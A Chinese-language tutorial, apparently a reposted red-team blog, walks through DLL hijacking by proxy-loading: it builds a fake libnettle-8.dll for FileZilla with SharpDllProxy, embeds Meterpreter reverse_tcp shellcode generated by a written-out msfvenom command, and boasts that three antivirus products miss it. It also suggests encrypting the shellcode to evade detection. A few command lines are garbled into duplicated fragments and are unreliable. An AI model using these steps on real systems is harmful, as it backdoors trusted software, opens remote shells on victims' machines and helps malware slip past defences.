DLL劫持
再Windows 7 版本之後,系統採用了KnowDLLs對DLL進行管理,其位於註冊表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs下,在這個下面的DLL檔會被禁止從exe自身所在的目錄下調用,而只能從系統目錄(System32)目錄下調用。造成DLL劫持的原因是因為並非所有的DLL都會被寫入註冊表中。
使用msfvenom產生的dll直接秒殺。
SharpDllProxy
聽名字大概類似socks代理程式一樣。工具來源自:https://redteaming.co.uk/2020/07/12/dll-proxy-loading-your-favorite-c-implant/。具體實作還可以參考這篇大佬的部落格.
前言
先理解下動態連結函式庫的運作原理。如果應用程式A要使用動態連結函式庫DataFunctions.dll裡面的GetFunkyData()函數,就需要載入DataFunctions.dll動態連結函式庫。這個工具就是出於這一點考慮,創建一個名字一模一樣的DataFunction.dll動態連結庫,他的功能有兩個:①做個快捷鍵,將所有的功能轉發到千真萬確的動態鏈接庫DataFunctions.dll ,這就是名字中proxy的由來;②在這個假冒的DataFunctions.dll裡面寫入shellcode。附上作者原圖:
實驗過程
目標程式
花了一些時間搞這實驗,例如FileZilla軟體,怎麼去找這個需要載入的dll呢?如作者說的,把該軟體拷貝出去就知道他缺什麼了。如下:
那就表示執行改應用程式需要載入該DLL文件,那就針對這個DLL做一個假的libnettle-8.dll。
產生shellcode
<br>
<br>
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.124.29 LPORT=4444 -f raw > shell.#bin
#44444 -f raw > shell.#bin
##44444 -f raw > shell.#實驗開始
先下載SharpDllProxy:https://github.com/Flangvik/SharpDllProxy,然後使用visual studio 2019對其進行編譯,盡量不要使用其他版本,因為我用了下visual studio 2017各種報錯搞了半天沒搞出來,也可能環境有問題。 直接使用 vs 開啟 檔案下的SharpDllProxy --》 產生解決方案
利用SharpDllProxy.dll建立一個偽造的libnettle-8.dll檔案。將shell.bin和需要被假冒的Dll放到上圖的檔案中。執行以下指令:.\SharpDllProxy.exe --dll libnettle-8.dll --payload shell.bin產生的檔案包含了一個C檔案和一個dll,這個dll檔案就是原來的libnettle-8.dll 檔案。 來分析下這個C語言程序,從第9行到494行都是轉送DLL的函數,將所有需要執行函數轉送原來的DLL,讓其處理。 到了497行就是我們插入的shellcode的地方。重點程式碼也只有這麼一點,其實還可以直接把shell.bin這個shellcode寫入該文件,就減少了文件可疑文件數量。在這裡,我們透過VirtualAlloc記憶體操作將shellcode以二進位方式讀入並執行。到這裡就可以自己一頓操作猛如虎,各種免殺姿勢用上來,例如換個加載方式,如對shellcode先加密然後解密運行。使用 VS 編譯上面的C檔。在檔案選單下選擇新建,然後選擇動態連結庫項目,將項目命名為 libnettle-8。複製上面的C檔碼到VS中編譯
######將上面的三個檔案(tmpD475.dll、libnettle-8.dll、shell.bin),送到目標系統中。使用msf監聽,然後執行程序,就已經回傳會話了。
使用最常用的防毒軟體:360、火絨和安全管家都沒有被發現。
以上是如何進行DLL代理轉發與weiquan分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!